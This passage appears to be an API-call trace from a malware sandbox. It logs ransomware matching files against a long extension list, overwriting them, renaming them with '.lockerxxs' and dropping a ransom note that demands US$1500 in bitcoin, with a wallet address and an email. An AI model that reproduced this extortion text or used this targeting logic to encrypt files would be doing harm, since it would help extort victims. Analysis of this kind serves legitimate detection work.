(x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0069.431] lstrlenA (lpString="*.vmdk") returned 6 [0069.431] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0069.431] lstrlenA (lpString="*.vdi") returned 5 [0069.431] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0069.431] lstrlenA (lpString="*.lay6") returned 6 [0069.432] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0069.432] lstrlenA (lpString="*.mpeg") returned 6 [0069.432] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0069.432] lstrlenA (lpString="*.djvu") returned 6 [0069.432] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0069.432] lstrlenA (lpString="*.tiff") returned 6 [0069.432] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0069.432] lstrlenA (lpString="*.backup") returned 8 [0069.432] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0069.432] lstrlenA (lpString="*.pdf") returned 5 [0069.432] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" [0069.432] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" [0069.432] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf." [0069.432] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf.lockerxxs" [0069.432] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.433] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x48d20 [0069.433] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x809de900, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.433] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.434] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x48cfa, lpOverlapped=0x0) returned 1 [0069.442] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf") returned="DefaultID.pdf" [0069.446] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.446] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x48cfa, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x48cfa, lpOverlapped=0x0) returned 1 [0069.448] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.448] CloseHandle (hObject=0x94) returned 1 [0069.453] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf.lockerxxs")) returned 1 [0069.454] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d20, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0069.454] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.454] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="UKR", cAlternateFileName="")) returned 0 [0069.455] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0069.455] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440049, dwReserved1=0x3, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0069.455] lstrcmpA (lpString1=".", lpString2="Javascripts") returned -1 [0069.455] lstrcmpA (lpString1="..", lpString2="Javascripts") returned -1 [0069.455] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*.*") returned="*.*" [0069.455] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", lpString2="Javascripts" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" [0069.455] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned 59 [0069.455] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502618 [0069.456] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.456] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.456] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.456] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.456] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1 [0069.456] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0069.456] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="JSByteCodeWin.bin") returned -1 [0069.456] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="JSByteCodeWin.bin") returned -1 [0069.456] lstrcmpiA (lpString1="", lpString2="JSByteCodeWin.bin") returned -1 [0069.456] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*.*") returned="*.*" [0069.456] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\" [0069.457] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\") returned="" [0069.457] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\HOW TO DECRYPT FILES.txt" [0069.457] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\how to decrypt files.txt")) returned 0xffffffff [0069.457] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0069.458] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.458] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.460] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.460] CloseHandle (hObject=0x90) returned 1 [0069.461] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", lpString2="JSByteCodeWin.bin" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" [0069.461] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.ems") returned 0 [0069.461] lstrlenA (lpString="*.ems") returned 5 [0069.461] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.db") returned 0 [0069.461] lstrlenA (lpString="*.db") returned 4 [0069.461] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.dbf") returned 0 [0069.461] lstrlenA (lpString="*.dbf") returned 5 [0069.461] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.myox") returned 0 [0069.461] lstrlenA (lpString="*.myox") returned 6 [0069.461] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.myo") returned 0 [0069.461] lstrlenA (lpString="*.myo") returned 5 [0069.461] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.qbw") returned 0 [0069.462] lstrlenA (lpString="*.qbw") returned 5 [0069.462] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.qbb") returned 0 [0069.462] lstrlenA (lpString="*.qbb") returned 5 [0069.462] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.qbm") returned 0 [0069.462] lstrlenA (lpString="*.qbm") returned 5 [0069.462] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.qbo") returned 0 [0069.462] lstrlenA (lpString="*.qbo") returned 5 [0069.462] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.qbx") returned 0 [0069.462] lstrlenA (lpString="*.qbx") returned 5 [0069.462] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.qba") returned 0 [0069.462] lstrlenA (lpString="*.qba") returned 5 [0069.462] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.qby") returned 0 [0069.462] lstrlenA (lpString="*.qby") returned 5 [0069.462] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.qbj") returned 0 [0069.462] lstrlenA (lpString="*.qbj") returned 5 [0069.462] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.ofx") returned 0 [0069.462] lstrlenA (lpString="*.ofx") returned 5 [0069.462] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.qif") returned 0 [0069.462] lstrlenA (lpString="*.qif") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.mye") returned 0 [0069.463] lstrlenA (lpString="*.mye") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.mbox") returned 0 [0069.463] lstrlenA (lpString="*.mbox") returned 6 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.eml") returned 0 [0069.463] lstrlenA (lpString="*.eml") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.pst") returned 0 [0069.463] lstrlenA (lpString="*.pst") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.ost") returned 0 [0069.463] lstrlenA (lpString="*.ost") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.idx") returned 0 [0069.463] lstrlenA (lpString="*.idx") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.dbx") returned 0 [0069.463] lstrlenA (lpString="*.dbx") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.sql") returned 0 [0069.463] lstrlenA (lpString="*.sql") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.mdb") returned 0 [0069.463] lstrlenA (lpString="*.mdb") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.fdb") returned 0 [0069.463] lstrlenA (lpString="*.fdb") returned 5 [0069.463] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.wab") returned 0 [0069.464] lstrlenA (lpString="*.wab") returned 5 [0069.464] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.dat") returned 0 [0069.464] lstrlenA (lpString="*.dat") returned 5 [0069.464] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.txt") returned 0 [0069.464] lstrlenA (lpString="*.txt") returned 5 [0069.464] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.jpeg") returned 0 [0069.464] lstrlenA (lpString="*.jpeg") returned 6 [0069.464] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.jpg") returned 0 [0069.464] lstrlenA (lpString="*.jpg") returned 5 [0069.464] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.png") returned 0 [0069.464] lstrlenA (lpString="*.png") returned 5 [0069.464] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.php") returned 0 [0069.465] lstrlenA (lpString="*.php") returned 5 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.cs") returned 0 [0069.465] lstrlenA (lpString="*.cs") returned 4 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.cpp") returned 0 [0069.465] lstrlenA (lpString="*.cpp") returned 5 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.rar") returned 0 [0069.465] lstrlenA (lpString="*.rar") returned 5 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.zip") returned 0 [0069.465] lstrlenA (lpString="*.zip") returned 5 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.html") returned 0 [0069.465] lstrlenA (lpString="*.html") returned 6 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.htm") returned 0 [0069.465] lstrlenA (lpString="*.htm") returned 5 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.xlsx") returned 0 [0069.465] lstrlenA (lpString="*.xlsx") returned 6 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.xls") returned 0 [0069.465] lstrlenA (lpString="*.xls") returned 5 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.mp4") returned 0 [0069.465] lstrlenA (lpString="*.mp4") returned 5 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.ppt") returned 0 [0069.465] lstrlenA (lpString="*.ppt") returned 5 [0069.465] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.pptx") returned 0 [0069.466] lstrlenA (lpString="*.pptx") returned 6 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.doc") returned 0 [0069.466] lstrlenA (lpString="*.doc") returned 5 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.dot") returned 0 [0069.466] lstrlenA (lpString="*.dot") returned 5 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.docx") returned 0 [0069.466] lstrlenA (lpString="*.docx") returned 6 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.7z") returned 0 [0069.466] lstrlenA (lpString="*.7z") returned 4 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.tar") returned 0 [0069.466] lstrlenA (lpString="*.tar") returned 5 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.bz2") returned 0 [0069.466] lstrlenA (lpString="*.bz2") returned 5 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.gz") returned 0 [0069.466] lstrlenA (lpString="*.gz") returned 4 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.mkv") returned 0 [0069.466] lstrlenA (lpString="*.mkv") returned 5 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.eml") returned 0 [0069.466] lstrlenA (lpString="*.eml") returned 5 [0069.466] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.msg") returned 0 [0069.467] lstrlenA (lpString="*.msg") returned 5 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.edb") returned 0 [0069.467] lstrlenA (lpString="*.edb") returned 5 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.accdb") returned 0 [0069.467] lstrlenA (lpString="*.accdb") returned 7 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.odb") returned 0 [0069.467] lstrlenA (lpString="*.odb") returned 5 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.java") returned 0 [0069.467] lstrlenA (lpString="*.java") returned 6 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.asm") returned 0 [0069.467] lstrlenA (lpString="*.asm") returned 5 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.pfx") returned 0 [0069.467] lstrlenA (lpString="*.pfx") returned 5 [0069.467] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", pszSpec="*.pem") returned 0 [0069.467] lstrlenA (lpString="*.pem") returned 5 